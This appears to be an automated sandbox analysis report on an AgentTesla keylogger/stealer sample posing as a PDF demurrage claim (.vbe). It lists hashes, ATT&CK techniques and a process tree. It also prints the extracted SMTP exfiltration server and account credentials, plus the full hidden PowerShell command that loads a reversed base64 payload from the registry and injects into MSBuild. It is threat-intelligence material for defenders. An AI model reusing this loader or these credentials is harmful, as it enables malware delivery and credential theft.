agenttesla | 31ef12a408e8a43e5bdd79f116c81b31261032ebbc1c079edfb4a6f68938df41

General

Target

Demurrage Claim 20250422pdf.vbe
Size

1.4MB
MD5

3cad1f3c2c6f0a5652402adb31314137
SHA1

cfa7f80e00c931b0107ae8b9d588fea375fa8486
SHA256

bce73437ffc825f4af0e0a4a14b5d2f1a52c55d324be9ad415b2ed257274335e
SHA512

96ed0e88756c77206d187059bd39fadeb597466940265c8a35b40ba60b30fce71427e84ebc32806d96046fd0f82c1215f334cff97d81c5f70ebc881d7162a005
SSDEEP

24576:Sk6YLtW+5pCOOrwBfeom3RDRoM8cLIRk3tAaLMgs4GM4IVj:Tmf5

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
162.254.34.31
Port:
587
Username:
[email protected]
Password:
26ivK6IyAzFg
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5464	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1279544337-3716153908-718418795-1000\Control Panel\International\Geo\Nation	WScript.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
13	api.ipify.org
14	api.ipify.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5464 set thread context of 4716	5464	powershell.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5464	powershell.exe
5464	powershell.exe
5464	powershell.exe
5464	powershell.exe
4716	MSBuild.exe
4716	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5464	powershell.exe
Token: SeDebugPrivilege	4716	MSBuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3712 wrote to memory of 5464	3712	WScript.exe	87
PID 3712 wrote to memory of 5464	3712	WScript.exe	87
PID 5464 wrote to memory of 4716	5464	powershell.exe	92
PID 5464 wrote to memory of 4716	5464	powershell.exe	92
PID 5464 wrote to memory of 4716	5464	powershell.exe	92
PID 5464 wrote to memory of 4716	5464	powershell.exe	92
PID 5464 wrote to memory of 4716	5464	powershell.exe	92
PID 5464 wrote to memory of 4716	5464	powershell.exe	92
PID 5464 wrote to memory of 4716	5464	powershell.exe	92
PID 5464 wrote to memory of 4716	5464	powershell.exe	92

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Demurrage Claim 20250422pdf.vbe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command [AppDomain]::CurrentDomain.Load([Convert]::FromBase64String((-join (Get-ItemProperty -LiteralPath 'HKCU:\Software\yDvToprFnFadMKC' -Name 's').s | ForEach-Object {$_[-1..-($_.Length)]}))); [lol.lol]::lol('yDvToprFnFadMKC')
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5464
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4716

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Roaming\yDvToprFnFadMKC.vbs"
1⤵
PID:4880

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1frqvjgq.442.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\yDvToprFnFadMKC.vbs

Filesize
2KB

MD5
8a6f1dc340c8fd382cb7b83dd847abb9

SHA1
11ea640dbd766f6af0198f13eff948f9db497b97

SHA256
e71ae8ec42dfd7029ccea570d56183ad56c7f88856d633b8740818524bbfa0a7

SHA512
2048271c5ef045d92606c59d17773f7e54bd143fb6d43a4b6022419530061088cdcca6d83f4282516c01ba523244f7213269d8f213e7208bdb86e4b4a8f2fa91

Download Submit
memory/4716-17-0x0000000000700000-0x0000000000740000-memory.dmp

Filesize
256KB

Download
memory/4716-19-0x00000000052E0000-0x0000000005884000-memory.dmp

Filesize
5.6MB

Download
memory/4716-24-0x0000000006450000-0x000000000645A000-memory.dmp

Filesize
40KB

Download
memory/4716-23-0x00000000064D0000-0x0000000006562000-memory.dmp

Filesize
584KB

Download
memory/4716-22-0x00000000063E0000-0x0000000006430000-memory.dmp

Filesize
320KB

Download
memory/4716-20-0x0000000004D30000-0x0000000004D96000-memory.dmp

Filesize
408KB

Download
memory/5464-18-0x00007FFA9ECE0000-0x00007FFA9F7A1000-memory.dmp

Filesize
10.8MB

Download
memory/5464-12-0x00007FFA9ECE0000-0x00007FFA9F7A1000-memory.dmp

Filesize
10.8MB

Download
memory/5464-1-0x00007FFA9ECE3000-0x00007FFA9ECE5000-memory.dmp

Filesize
8KB

Download
memory/5464-16-0x00000221FB640000-0x00000221FB64C000-memory.dmp

Filesize
48KB

Download
memory/5464-2-0x00000221FB0E0000-0x00000221FB102000-memory.dmp

Filesize
136KB

Download
memory/5464-15-0x00000221FB110000-0x00000221FB11A000-memory.dmp

Filesize
40KB

Download
memory/5464-14-0x00000221FB5F0000-0x00000221FB634000-memory.dmp

Filesize
272KB

Download
memory/5464-13-0x00007FFA9ECE0000-0x00007FFA9F7A1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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